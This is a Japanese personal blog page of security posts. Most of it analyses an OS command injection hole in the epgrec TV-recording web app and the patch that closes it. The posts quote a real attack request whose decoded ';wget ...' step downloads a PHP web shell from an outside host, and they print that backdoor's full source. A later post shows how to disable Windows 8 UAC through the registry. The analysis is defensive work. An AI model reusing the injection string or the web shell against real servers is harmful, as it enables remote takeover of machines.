ラベル セキュリティ の投稿を表示しています。 すべての投稿を表示
ラベル セキュリティ の投稿を表示しています。 すべての投稿を表示

2014年2月23日日曜日

「続編」epgrecの脆弱性を検証する

前回 epgrecの脆弱性について検証しましたが、しばらく対策について
記述していませんでした。
私の場合、epgrec fork の epgrec UNA というものを使用しており、UNA版での
対策について検討したいと思います。

fork版の開発者から、修正パッチが出ているのでそれを適用します。
http://d.hatena.ne.jp/katauna/20140118/1390017028

パッチ内容を確認します。

$ diff -u /var/www/epgrec/install/step5.php ./step5.php
--- /var/www/epgrec/install/step5.php 2011-10-09 16:57:55.000000000 +0900
+++ ./step5.php 2014-01-18 12:13:04.000000000 +0900
@@ -4,10 +4,6 @@
 
 $settings = Settings::factory();
 
-if( isset( $_GET['script'] ) )
- $epg_rec = $_GET['script'];
-else
- exit();
 if( isset( $_GET['time'] ) )
  $rec_time = $_GET['time'];
 else
@@ -15,8 +11,21 @@
 
 echo 'EPGの初回受信を行います。'.$rec_time.'分程度後に<a href="'.$settings-%3Einstall_url.'">epgrecのトップページ
を開いてください。';
 
-@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
-
+if( isset( $_GET['script'] ) ){
+ $epg_rec = $_GET['script'];
+ switch( $epg_rec ){
+  case '/getepg.php':
+  case '/shepherd.php':
+   @exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
+   break;
+  default:
+   $alert_msg = '不法侵入者による攻撃を受けました。['.$_SERVER['REMOTE_HOST'].'('.$_SERVER['REMOTE_ADDR'].")]\nSCRIPT::[".$epg_rec.']';
+   reclog( $alert_msg, EPGREC_WARN );
+   file_put_contents( INSTALL_PATH.$settings->spool.'/alert.log', date("Y-m-d H:i:s").' '.$alert_msg."\n", FILE_APPEND );
+   syslog( LOG_WARNING, $alert_msg );
+   break;
+ }
+}
 exit();
 
 ?>
これを見ると、URI部分に「?script=;wget〜」のOSコマンドインジェクション攻撃をされた
場合には、処理の実行を中断し攻撃の痕跡をログに残すように変更されています。
scriptパラメータに渡して有効な文字列は「/getepg.php」と「/shepherd.php」のみに
限定されている為、これで攻撃は防げると思います。
そもそもなんですが、このWebアプリはWANに公開することをあまり想定されてないようなので
LAN内限定でアクセス可能に制限し、外から使う時はVPNやssh port forward 等を組み合わせて
利用することをオススメします。そうしないとまた他にも脆弱性が発見される可能性が高いように思います。

# 前回で紹介した攻撃者が不正にアップロードしてきたPHPシェルの検証ももっと深く突っ込んでやりたいですね・・・

2014年1月21日火曜日

epgrecの脆弱性を検証する

epgrecの脆弱性が巷で話題になっているようなので検証してみたい。
この辺を参照

epgrecとは、Linux環境でテレビ番組を録画するソフトウェア、もう少し
詳しく言うといわゆるWebアプリケーションである。

今回問題となったのはこのepgrecの脆弱性、問題となったコードは下記
epgrec/install/step5.php
if( isset( $_GET['script'] ) )
        $epg_rec = $_GET['script'];
else
        exit();
if( isset( $_GET['time'] ) )
        $rec_time = $_GET['time'];
else
        exit();

echo 'EPGの初回受信を行います。'.$rec_time.'分程度後にepgrecのトップページを開いてください。';

@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );

exit();

このスクリプトに「OSコマンドインジェクション」の脆弱性がある。
@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
この部分、外部から「script」というパラメータで受け取った値を
何のチェックもせずに @exec() メソッドの引数の一部として渡してしまっている。
この場合、$epg_rec 変数の中に「;任意のコマンド」と、セミコロンをつけることで
OSコマンドインジェクション攻撃が成立してしまう。

今回の攻撃リクエストは下記
87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148 
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 

これはつまり、WebブラウザのURL欄に下記のように指定してページを読み込んだことと等しい。
http://被害者のサーバ/epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol
これのURLエンコードされている部分(wgetのあたり)をデコードすると
;wget -4 -O /home/(ユーザ名)/public_html/epgrec/thumbs/tv.php http://gesopls.de/script/epgrec_shell.txt
となる。wgetコマンドはファイルをダウンロードするLinuxコマンド。 wgetの-4オプションは、IPv4のみに接続するオプションで、-Oオプションは保存先のディレクトリや 保存ファイル名を指定するオプション。 今回はepgrecインストール先のthumbs/ ディレクトリの下に tv.php というファイル名で epgrec_shell.txt をダウンロードさせた事になる。 クラッカーが任意のファイルをPHPが動作するディレクトリにアップロードできたというわけ。 そんでもって、どんなファイルをアップロードされたのかと言うと、アップロードされたファイルの中身がこちら
epgrec_shell.txt
<?php 
 header('Content-Type: text/html; charset=utf8');
?>
<html>
<head>
<script language="JavaScript">
function hex(d) {
 return d.toString(16);
}
function Encrypt(theText) {
 output = new String;
 Tmp = new String;
 Temp = new Array();
 TextSize = theText.length;
 for (i = 0; i < TextSize; i++) {
  Temp[i] = theText.charCodeAt(i);
 }
 for (i = 0; i < TextSize; i++) {
  Tmp = hex(Temp[i]);
  if (Tmp.length == 1) {
   Tmp = "0" + Tmp;
  }
  output += Tmp;
 }
 document.cmdform.cmd.value=encodeURIComponent(theText);
 document.cmdform.submit();
}
</script>
</head>
<body>
<center>
<form name="encform" onsubmit="return false;">
<textarea name="dcmd" rows="5" cols="50">
</textarea> 
<br/>
<input value="Execute" onclick="Encrypt(this.form.dcmd.value);" type="button"> 
<br/>
</form>
</center>
<form name="cmdform" method="GET" action="">
<input name="cmd" type="hidden" value="">
</form><br/>
<?php 
function hex2str($hex) {  
 for($i=0;$i<strlen($hex);$i+=2) {    
  $str.=chr(hexdec(substr($hex,$i,2)));  
 }  
 return $str;
}

if ($_GET['cmd']) { 
 if($_GET['sjis']==1) 
  $cmd = trim(mb_convert_encoding(urldecode($_GET['cmd']),"SJIS","UTF-8"));
 else 
  $cmd = trim(urldecode($_GET['cmd'])); 

?>
Command : <?php  echo $cmd  ?>
<br/>
<p>
<pre>
<?php 
 $cmd = "(".$cmd;$cmd .= ") 2>&1";
 if (!$_GET['type']) {
  system($cmd);
 } elseif ($_GET['type']==1) {
  passthru($cmd);
 } elseif ($_GET['type']==2) {
  echo (exec($cmd));
 } elseif ($_GET['type']==3) {
  $output = shell_exec($cmd);
  echo $output;
 } 
?>
</pre>
</p>
<?php } ?>
このスクリプトの詳細についてはまた後日検討するとして、結局何かと言うと これはバックドアだ。 テキストエリア欄に任意のコマンドを入力すると、実際にサーバ上でそのコマンドが 実行されてしまう。コマンドの実行権限はApache2を動かしているユーザの権限になる。 大抵の人が「www-data」になると思われる。 下記は私が実際にこのスクリプトを検証してみた結果の画面。Webブラウザを通して 任意のコマンドが実行可能になっている。
このようにして、クラッカーは好き勝手に番組を録画し、好き勝手に自分のサーバへ
FTPやscp等を使ってアニメの.tsファイルをアップロードしていたものと思われる。
そして、このバックドアはJavaScriptによって暗号化したり復号化したりしながら 処理をしているように見えるが、これは何のためにこんなややこしいことをしているのか 現段階ではちょっとわからない。
Apache2のログを難読化するためにやっているのかと想像したのだが、実際にこの状態でログを確認してみると下記のようになる。
192.168.11.30 - - [21/Jan/2014:23:50:52 +0900] "GET /epgrec/thumbs/tv.php?cmd=uname%2520-a HTTP/1.1" 200 843 "http://mint-rec.local/epgrec/thumbs/tv.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
これではどんな任意のコマンドを実行したのか丸見えなので難読化(?)している意味がない。

一先ず今日はこの辺まで・・・。
海外のクラッカーにクラッキングされないように、きちんと脆弱性を修正したパッチを当てましょう。
このepgrec、意外と脆弱性が他にもまだまだあったりしそうな気がしますね・・・。

2013年8月27日火曜日

WZR-G108 Buffaloのちょっと古い無線ルータ不安定

WZR-G108 を実家で長い間使用しているのですが、ちょくちょくルータが応答しなくなり不安定です。

ルータが応答しなくなったら、電源を抜いて強制的に再起動するしか復帰方法がない。
ルータのファームウェアも最新版(Ver 2.41)を用いています。

今日いい加減に嫌気がさして、設定を軽くメモして工場出荷時設定(初期化)に戻しました。
戻した後、メモした内容を元に設定を元に戻していき、不要なNATログ出力を無効にしたりして
ルータの負荷を軽くする感じにチューニングしてみました。
とりあえずこれで初期化したことによる効果を様子見で確認します。

本当は無線暗号方式は AESを使いたいのですが、AESで使っていると2日に1回ぐらいの割合で無線(Wi-Fi)が死に、強制再起動を余儀なくされるので断念して、脆弱なのは承知の上でWEPを使っています。

WEPだと当然非常に不安なので、MACアドレス制限を有効にしてセキュリティを高めてますが、これでも侵入しようと思えば、きっとパケットキャプチャされて通信しているMACアドレスを知られ、
そのMACアドレスに偽装(MAC Address Spoofing)してWEP暗号を破られれば
侵入されちゃうんでしょうね?うーん・・・・。

この問題を考えていて、任天堂DSがWEP暗号しかサポートしてない問題を思い出しました。
この例によらず、昔売られていたハードウェアは開発が止まりファームウェアも更新されなくなるので、こうなってくるとやはり新しいハードウェアに買い替えしかないのでしょうか?

実家に、「Avel Link Player2」というネットワークメディアプレイヤーもあるのですが
これも昔のままファームウェア更新が止まっているので、最新のH.264形式の動画を再生できなかったりして、コーデックを自分で追加することも出来ず困っています。
最新のハードウェア買い替え以外に何か対策がないものか・・・。
最新のハードウェアに買い換えてもいいけど、また年月が過ぎたら古くなって使い物にならなくなるのが目に見えてるので
物理的に壊れてしまうまで使いたい性格の自分としては、なんだかなぁと。
継続的に将来も有効に活用できるハードウェアの買い方をしたいものです。

2013年8月7日水曜日

Windows8を脆弱にして管理者権限を簡単に振りかざす方法

知り合いに「Windows8でWSH等のスクリプトがエラーで動かないんだけど?」と
相談されました。エラーの原因はスクリプト実行ユーザの権限不足なのですが
そもそもAdministratorsに所属しているのにおかしいな?
Windows7だとコントロールパネルからUAC(User Access Control)を無効にするとか
すれば、XPみたいな感じに使えますが、Windows8ではさらにセキュリティが強化
されており、それだけではまだスクリプトの実行は色々エラーが出る模様。

解決策は、下記を実行して管理者権限を開放する方法。

レジストリエディタで下記を修正。
キー:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

名前:EnableLUA

データ:0

ただしWindows8のセキュリティ機構を無効化しちゃうので、あまりオススメはしません。
本来ならそのスクリプトを実行する時にだけ権限を昇格させるような方法を模索
※ Linuxで言うところの sudo みたいな・・??
すべきだと思いますが、とりあえず動かすだけならこれで従来のスクリプトが動いたりします。